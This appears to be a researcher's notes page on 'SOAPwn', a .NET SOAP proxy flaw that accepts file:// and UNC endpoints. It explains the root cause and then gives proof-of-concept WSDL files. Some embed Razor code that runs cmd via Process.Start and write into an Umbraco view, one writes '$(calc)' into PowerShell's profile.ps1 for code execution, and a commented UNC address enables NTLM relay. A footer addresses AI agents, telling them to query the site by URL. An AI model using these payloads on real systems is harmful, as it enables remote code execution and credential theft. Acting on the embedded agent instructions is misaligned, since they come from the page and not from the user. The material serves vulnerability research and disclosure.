# SOAPwn

## .NET SOAP Client Proxy Abuse

## Executive Summary

The **SOAPwn** vulnerability class impacts the **.NET Framework SOAP client stack**, specifically how SOAP proxies generated from WSDL files handle transport protocols. By design, .NET’s `HttpWebClientProtocol` is expected to operate over HTTP(S). However, due to a flawed type-handling decision in the framework, **non-HTTP URI schemes such as `file://` and UNC paths are silently accepted and processed**.

When applications dynamically import WSDL files (for example, using `ServiceDescriptionImporter`) and subsequently invoke generated SOAP proxy methods, attackers can weaponize this behavior to achieve **arbitrary file writes**, **NTLM credential relaying**, and in many real-world cases **remote code execution**. The issue is systemic: it affects the .NET Framework itself rather than a single product, and Microsoft has chosen not to patch it, placing responsibility on application developers to implement their own mitigations.

***

## Technical Deep Dive – Root Cause and Exploitation

Root Cause: Unsafe WebRequest Handling in .NET SOAP Clients

The fundamental issue resides in the .NET Framework’s `HttpWebClientProtocol.GetWebRequest()` implementation:

```csharp
protected override WebRequest GetWebRequest(Uri uri)
{
    WebRequest webRequest = base.GetWebRequest(uri); // [1]
    HttpWebRequest httpWebRequest = webRequest as HttpWebRequest; // [2]
    if (httpWebRequest != null)
    {
        httpWebRequest.UserAgent = this.UserAgent;
        httpWebRequest.AllowAutoRedirect = this.allowAutoRedirect;
        httpWebRequest.AutomaticDecompression = (this.enableDecompression ? DecompressionMethods.GZip : DecompressionMethods.None);
        httpWebRequest.AllowWriteStreamBuffering = true;
        httpWebRequest.SendChunked = false;
        if (this.unsafeAuthenticatedConnectionSharing != httpWebRequest.UnsafeAuthenticatedConnectionSharing)
        {
            httpWebRequest.UnsafeAuthenticatedConnectionSharing = this.unsafeAuthenticatedConnectionSharing;
        }
        if (this.proxy != null)
        {
            httpWebRequest.Proxy = this.proxy;
        }
        if (this.clientCertificates != null && this.clientCertificates.Count > 0)
        {
            httpWebRequest.ClientCertificates.AddRange(this.clientCertificates);
        }
        httpWebRequest.CookieContainer = this.cookieJar;
    }
    return webRequest; // [3]
}
```

Key properties of this logic:

* `[1]` base.GetWebRequest(uri) returns a protocol-specific WebRequest
* For file:// URIs, this is a FileWebRequest
* `[2]` The invalid cast to HttpWebRequest fails silently
* `[3]` The original WebRequest is returned without scheme validation

As a result, SOAP client code intended for HTTP(S) transparently accepts non-HTTP transports.

***

## PoC || GTFO

### Umbraco 8.18.15 (Authenticated) - <mark style="color:red;">WIP</mark>

**Requirements**

* Low-privileged user with Editor role
* Access to Forms → Data Sources

**Attack Chain**

1. Import attacker-controlled WSDL via Forms Data Source
2. Generated proxy embeds a file:// SOAP endpoint
3. Form submission invokes proxy method
4. SOAP request is written to disk via FileWebRequest

**Notes**

* SOAP 1.1 only
* Proxy import confirmed
* Execution via Forms is partially restricted (<mark style="color:red;">**WIP**</mark>)

**Can import:**

```xml
<?xml version="1.0" encoding="utf-8"?>
<definitions
  xmlns="http://schemas.xmlsoap.org/wsdl/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}"
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}">

  <types>
    <s:schema
      elementFormDefault="qualified"
      targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}">
      <s:element name="poc">
        <s:complexType/>
      </s:element>
      <s:element name="pocResponse">
        <s:complexType>
          <s:sequence>
            <s:element name="pocResult" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>

  <message name="TestIn">
    <part name="parameters" element="tns:poc"/>
  </message>

  <message name="TestOut">
    <part name="parameters" element="tns:pocResponse"/>
  </message>

  <portType name="TestSoap">
    <operation name="poc">
      <input message="tns:TestIn"/>
      <output message="tns:TestOut"/>
    </operation>
  </portType>

  <binding name="TestSoap" type="tns:TestSoap">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="poc">
      <soap:operation
        soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}/poc"/>
      <input>
        <soap:body use="literal"/>
      </input>
      <output>
        <soap:body use="literal"/>
      </output>
    </operation>
  </binding>

  <service name="Test">
    <port name="TestSoap" binding="tns:TestSoap">
      <soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
    </port>
  </service>

</definitions>
```

Should be able to import following WSDL file..

```xml
<?xml version="1.0" encoding="utf-8"?>
<definitions
  xmlns="http://schemas.xmlsoap.org/wsdl/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}"
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">

  <types>
    <s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
      <s:element name="poc"><s:complexType/></s:element>
      <s:element name="pocResponse">
        <s:complexType>
          <s:sequence>
            <s:element name="pocResult" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>

  <message name="InMsg"><part name="parameters" element="tns:poc"/></message>
  <message name="OutMsg"><part name="parameters" element="tns:pocResponse"/></message>

  <portType name="SOAPwnMethod">
    <operation name="Execute">
      <input message="tns:InMsg"/>
      <output message="tns:OutMsg"/>
    </operation>
  </portType>

  <binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="Execute">
      <soap:operation soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>

  <service name="SOAPwnService">
    <port name="SOAPwnPort" binding="tns:SOAPwnBinding">
      <soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
    </port>
  </service>

</definitions>
```

.. to generate following proxy method:

```javascript
public class UmbracoPoc : SoapHttpClientProtocol
{
    public UmbracoPoc()
    {
        base.Url = "file:///inetpub/umbraco8/Views/Blog.cshtml";
    }

    [SoapDocumentMethod("http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute", RequestNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", ResponseNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
    public string Execute()
    {
        return (string)base.Invoke("Execute", new object[0])[0];
    }
}
```

***

### PowerShell – Arbitrary File Write → RCE

PowerShell uses the .NET SOAP client stack when importing web services.

**Attack Chain**

1. Import malicious SOAP proxy
2. Trigger method invocation
3. SOAP payload written to profile.ps1
4. New PowerShell session loads profile
5. Arbitrary code execution

<figure><img src="/files/dtGNAYWLca2jHXwzfV2u" alt=""><figcaption></figcaption></figure>

### PowerShell – NTLM Relay

**Attack Chain**

1. SOAP endpoint uses UNC path (file://///attacker/share)
2. Proxy invocation triggers SMB authentication
3. NTLM challenge/response captured
4. Credentials relayed to another host

<figure><img src="/files/NLJ9TvWBPdBvfQOHqi7O" alt=""><figcaption></figcaption></figure>

PowerShell WSDL file used:

```xml
<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
             xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
             xmlns:s="http://www.w3.org/2001/XMLSchema"
             xmlns:tns="http://tempuri.org/?$(calc)"
             targetNamespace="http://tempuri.org/?$(calc)">

  <types>
    <s:schema targetNamespace="http://tempuri.org/?$(calc)" elementFormDefault="qualified">
      <s:element name="Request"><s:complexType/></s:element>
      <s:element name="Response">
        <s:complexType>
          <s:sequence>
            <s:element name="Result" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>

  <message name="InMsg">
    <part name="parameters" element="tns:Request"/>
  </message>
  <message name="OutMsg">
    <part name="parameters" element="tns:Response"/>
  </message>

  <portType name="SOAPwnMethod">
    <operation name="poc">
      <input message="tns:InMsg"/>
      <output message="tns:OutMsg"/>
    </operation>
  </portType>

  <binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="poc">
      <soap:operation soapAction="http://tempuri.org/?$(calc)"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>

  <service name="SOAPwnService">
    <port name="SOAPwnMethod" binding="tns:SOAPwnBinding">
      <soap:address location="file:///Windows/System32/WindowsPowerShell/v1.0/profile.ps1"/>
      <!-- <soap:address location="file://192.168.140.128/relaymeplease"/> -->
    </port>
  </service>

</definitions>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/asp.net/soapwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
